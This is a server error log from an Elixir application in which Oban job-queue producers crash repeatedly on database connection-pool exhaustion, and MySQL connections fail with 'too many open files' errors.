[Sun Sep  6 00:13:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:13:02.254150Z], limit: 10, uuid: "13d7737e-daae-4f66-812e-28f622b8c235", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.254157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165871>, refresh_timer: #Reference<0.2525715032.1077673987.28096>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:14.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:13:02.247144Z], limit: 50, uuid: "49d45ece-839f-4429-9586-97230acc4405", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.247207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165870>, refresh_timer: #Reference<0.2525715032.1121189889.165856>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:13:02.245192Z], limit: 20, uuid: "666d9a04-4d13-41c8-8240-a285489a2c65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.245198Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165873>, refresh_timer: #Reference<0.2525715032.1068498948.50814>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:13:02.244944Z], limit: 5, uuid: "b9a6af33-9e10-4565-9647-f58d71e3040a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.244949Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165874>, refresh_timer: #Reference<0.2525715032.1068498948.50799>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:13:02.242382Z], limit: 5, uuid: "031ea6e4-9b16-46ae-bcae-b228121a82e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.242408Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165875>, refresh_timer: #Reference<0.2525715032.1068498948.50802>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:14.863000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:17.266000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:17.635000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:18.097000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:18.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:21.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:25.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:13:14.244611Z], limit: 5, uuid: "681c58f6-6f5f-442b-8ee7-ad187578cd56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.244616Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166241>, refresh_timer: #Reference<0.2525715032.1068498948.50896>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:13:14.240913Z], limit: 3, uuid: "fd5341a7-0848-4bc6-8616-19e23beb16ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.240918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166238>, refresh_timer: #Reference<0.2525715032.1121189889.166220>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:13:14.240545Z], limit: 50, uuid: "621f1825-781b-4da0-a42e-926a5d4be868", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.240552Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166237>, refresh_timer: #Reference<0.2525715032.1121189889.166201>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
